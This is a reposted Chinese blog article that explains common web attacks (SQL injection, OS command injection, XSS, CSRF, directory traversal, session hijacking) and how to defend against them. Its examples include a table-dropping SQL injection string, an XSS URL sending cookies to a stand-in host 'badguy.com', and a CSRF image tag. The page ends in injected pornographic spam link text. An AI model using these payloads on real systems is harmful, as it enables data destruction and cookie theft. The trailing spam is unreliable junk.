<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    Hopes

    Start Here..

     

    轉 Web很脆弱,SQL注入要了解

    Web很脆弱,SQL注入要了解

    發布日期:2012-12-26 10:11 來源:互聯網 作者:秩名 點擊:360 SQL注入

    所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
    通過一下的例子更形象的了解SQL注入:
    有一個Login畫面,在這個Login畫面上有兩個文本框分別用來輸入用戶名和密碼,當用戶點了登錄按鈕的時候,會對輸入的用戶名和密碼進行驗證。驗證的SQL語句如下:
    select * from student where username='輸入的用戶名' and password='輸入的密碼'
    如果能夠檢索到數據,說明驗證通過,否則驗證不通過。

    如果用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1,則驗證的SQL語句變成:

    select * from student where username='' or '1' = '1' or '1' = '1' and password=''

    如果用戶在密碼文本框中輸入 1' or '1' = '1,則驗證的SQL語句變成:

    select * from student where username='' and password='1' or '1'='1'

    以上兩個SQL語句的where條件永遠是成立的,所以驗證永遠是有效的。

    如果在用戶名文本框中輸入 tom' ; drop table student-- ,則SQL語句變成:
    [sql] view plaincopyprint?
    1. select * from student where username='tom' ; drop table student--' and password=''
    這樣就變成的兩條SQL語句,執行完查詢操作,接著直接把student表給刪除了(雙連接符表示注釋)

    如何防止SQL注入:
    1. 永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
    2. 永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取
    3. 永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接
    4. 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息
    5. 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
    6. 采用一些工具或網絡平臺檢測是否存在SQL注入

    OS命令注入


    OS命令注入和SQL注入差不多,只不過SQL注入是針對數據庫的,而OS命令注入是針對操作系統的。OS命令注入即能夠在服務器上執行任意命令。
    如何防止OS命令注入:
    1. 不要調用外部程序。舉個例子,在UNIX系統上,有一個叫CGI的程序,可以執行sendmail命令來發送郵件。也許你的web應用程序也有發送郵件的功能,通過直接調用CGI程序發送郵件非常的簡單,但是不要這樣做,因為在執行sendmail命令的同時,也會混雜進其他OS命令,正確的做法是使用發送郵件的library。
    2. 過濾調 、; ,[ ,] ,| ,< ,> ,\ 之類的符號
    3. 設置用戶的權限
    XSS跨站腳本攻擊

    XSS跨站腳本攻擊指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript),當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的,比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。
    XSS攻擊場景有以下兩個方面:
    1. Dom-Based XSS 漏洞。攻擊過程如下
    Tom 發現了Victim.com中的Search.asp頁面有XSS漏洞,Search.asp的代碼如下:

    1. <html>
    2.   <title></title>
    3.   <body>
    4.     Results for <%Reequest.QueryString("term")%>
    5.     ...
    6.   </body>
    7. </html>
    Tom 先建立一個網站http://badguy.com,用來接收“偷”來的信息。然后Tom 構造一個惡意的url(如下),通過某種方式(郵件,QQ)發給Monica
    http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
    Monica點擊了這個URL,嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行,那么Monica在victim.com網站的cookie,就會被發送到badguy網站中,這樣Monica在victim.com 的信息就被Tom盜了
    2. Stored XSS(存儲式XSS漏洞)。該類型是應用廣泛而且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得所有訪問該頁面的用戶都面臨信息泄露的可能。

    攻擊過程如下

    Alex發現了網站A上有一個XSS 漏洞,該漏洞允許將攻擊代碼保存在數據庫中,于是Alex發布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行,其會話cookie或者其他信息將被Alex盜走。
    Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶。
    如何防止XSS跨站腳本攻擊:
    原則:不相信用戶輸入的數據
    注意:攻擊代碼不一定在<script></script>中
    1. 將重要的cookie標記為http only,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了

    2. 只允許用戶輸入我們期望的數據。例如:年齡的textbox中,只允許用戶輸入數字,而數字之外的字符都過濾掉

    3. 對數據進行Html Encode 處理。< 轉化為 &lt;、> 轉化為 &gt;、& 轉化為 &amp;、' 轉化為 '、" 轉化為 &quot;、空格 轉化為 &nbsp;

    4. 過濾或移除特殊的Html標簽。例如:<script>、<iframe>、&lt; for <、&gt; for >、&quot for

    5. 過濾JavaScript 事件的標簽。例如 "onclick="、"onfocus" 等等

    很多瀏覽器都加入了安全機制來過濾XSS(如下圖,在ie中輸入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>)


    CSRF跨站請求偽造

    CSRF(XSRF)盡管聽起來很想XSS跨站腳本攻擊,但是它于XSS完全不同。XSS是利用站點內的信任用戶,而CSRF則是通過偽裝來自受信任用戶的請求來利用受信任的站點。
    與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險性。

    以下是一個CSRF的例子

    受害者 Bob 在銀行有一筆存款,通過對銀行的網站發送請求http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下,該請求發送到網站后,服務器會先驗證該請求是否來自一個合法的 session,并且該 session 的用戶 Bob 已經成功登陸。

    黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己發送一個請求給銀行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。

    這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網站,在網站中放入如下代碼:<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行服務器。大多數情況下,該請求會失敗,因為他要求 Bob 的認證信息。

    但是,如果 Bob 當時恰巧剛訪問他的銀行后不久,他的瀏覽器與銀行網站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認證信息。這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉移到 Mallory 的賬號,而 Bob 當時毫不知情。等以后 Bob 發現賬戶錢少了,即使他去銀行查詢日志,他也只能發現確實有一個來自于他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。

    如何防止CSRF跨站請求偽造:
    1. 對于web站點,將持久化的授權方法(例如cookie或者HTTP授權)切換為瞬時的授權方法(在每個form中提供隱藏field)。

    2. “雙提交”cookie。此方法只工作于Ajax請求,但它能夠作為無需改變大量form的全局修正方法。如果某個授權的cookie在form post之前正被JavaScript代碼讀取,那么限制跨域規則將被應用。什么叫限制跨域規則呢?限制跨域規則就是:如果服務器需要在Post請求體或者URL中包含授權cookie的請求,那么這個請求必須來自于受信任的域,因為其它域是不能從信任域讀取cookie的。上面那個例子的受信任域就是銀行網站的某個域,而Mallory發給Bob的鏈接不是受信任的域。

    3. 使用Post代替Get。Post方式不會在web服務器和代理服務器日志中留下數據尾巴,然而Get方式卻會留下數據尾巴。

    4. 以上三點都是正對web站點的防御手段,第4點是從用戶的角度的防御手段。通過在瀏覽其它站點前登出站點或者在瀏覽器會話結束后清理瀏覽器的cookie來防止CSRF攻擊。

    目錄遍歷漏洞

    目錄遍歷漏洞在國內外有不同的叫法(信息泄露漏洞、非授權文件包含漏洞、等等)。目錄遍歷漏洞就是在程序中沒有過濾用戶輸入的../和./之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷服務器上的任意文件,其危害可想而知。
    如何防止目錄遍歷漏洞:

    1. 權限控制

    2. 對包含了惡意的符號或者空字節進行拒絕

    3. 使用絕對路徑+參數來控制訪問目錄,使其即使是越權或者跨越目錄也是在指定的目錄下

    參數篡改

    參數值竄改是網絡攻擊的一種形式,其中在URL中的某些參數或由用戶輸入的網頁形式領域數據都在沒有得到用戶授權的情況下改變了。這導致瀏覽器指向一個不是用戶想去的鏈接、網頁或網站(盡管對隨機觀測者來說它們看上去幾乎一樣)。參數值篡改被犯罪者用來獲取個人或商業信息。
    如何防止參數篡改:

    1. 對所有參數值進行驗證

    2. 根據session id進行遷移,參數使用服務器端的值


    會話劫持

    會話劫持就是在一次正常的會話過程當中,攻擊者作為第三方參與到其中,他可以在正常數據包中插入惡意數據,也可以在雙方的會話當中進行監聽,甚至可以是代替某一方主機接管會話。
    我們可以把會話劫持攻擊分為兩種類型:

    1)中間人攻擊(Man In The Middle,簡稱MITM)

    2)注射式攻擊(Injection)


    中間人攻擊:簡而言之,所謂的MITM攻擊就是通過攔截正常的網絡通信數據,并進行數據篡改和嗅探,而通信的雙方卻毫不知情
    注射式攻擊:這種方式的會話劫持比中間人攻擊實現起來簡單一些,它不會改變會話雙方的通訊流,而是在雙方正常的通訊流插入惡意數據


    還可以把會話劫持攻擊分為兩種形式:1)被動劫持,2)主動劫持

    被動劫持:在后臺監視雙方會話的數據流,叢中獲得敏感數據

    主動劫持:將會話當中的某一臺主機“踢”下線,然后由攻擊者取代并接管會話,這種攻擊方法危害非常大,攻擊者可以做很多事情


    如何防止會話劫持:

    1. 限制入網的連接

    2. 設置你的網絡拒絕假冒本地地址從互聯網上發來的數據包

    3. 加密也是有幫助的。FTP和Telnet協議是最容易受到攻擊的。SSH是一種很好的替代方法

    posted on 2012-12-29 15:49 ** 閱讀(151) 評論(0)  編輯  收藏


    只有注冊用戶登錄后才能發表評論。


    網站導航:
     

    導航

    統計

    公告

    你好!

    常用鏈接

    留言簿(2)

    隨筆檔案

    文章分類

    文章檔案

    新聞檔案

    相冊

    收藏夾

    C#學習

    友情鏈接

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 美女无遮挡拍拍拍免费视频| 伊人久久五月丁香综合中文亚洲| 91频在线观看免费大全| 亚洲色中文字幕无码AV| 国产精品综合专区中文字幕免费播放| 男女交性无遮挡免费视频| 免费做爰猛烈吃奶摸视频在线观看 | 777成影片免费观看| 亚洲avav天堂av在线不卡| 中文字幕不卡高清免费| 亚洲精品无码成人片久久| 丁香花在线视频观看免费| 亚洲四虎永久在线播放| 亚洲成人免费在线观看| 最新国产精品亚洲| 免费国产成人高清视频网站| 黄页视频在线观看免费| 亚洲综合网站色欲色欲| 美丽姑娘免费观看在线观看中文版| 免费国产成人午夜私人影视 | 100000免费啪啪18免进| 亚洲精品欧洲精品| 性色av免费观看| 无遮挡呻吟娇喘视频免费播放| 波多野结衣在线免费视频| 亚洲日韩AV一区二区三区中文| 三年在线观看免费观看完整版中文 | 亚洲精品影院久久久久久| 国产免费丝袜调教视频| 亚洲大码熟女在线观看| 精品国产日韩亚洲一区| 久久久久免费看成人影片| 亚洲人成未满十八禁网站| 亚洲中文字幕无码专区| 国产又大又粗又长免费视频| 国产亚洲日韩在线a不卡| 亚洲国产精品一区二区第一页| 一级毛片试看60分钟免费播放| 久久精品免费一区二区喷潮| 有码人妻在线免费看片| 亚洲AV中文无码乱人伦下载|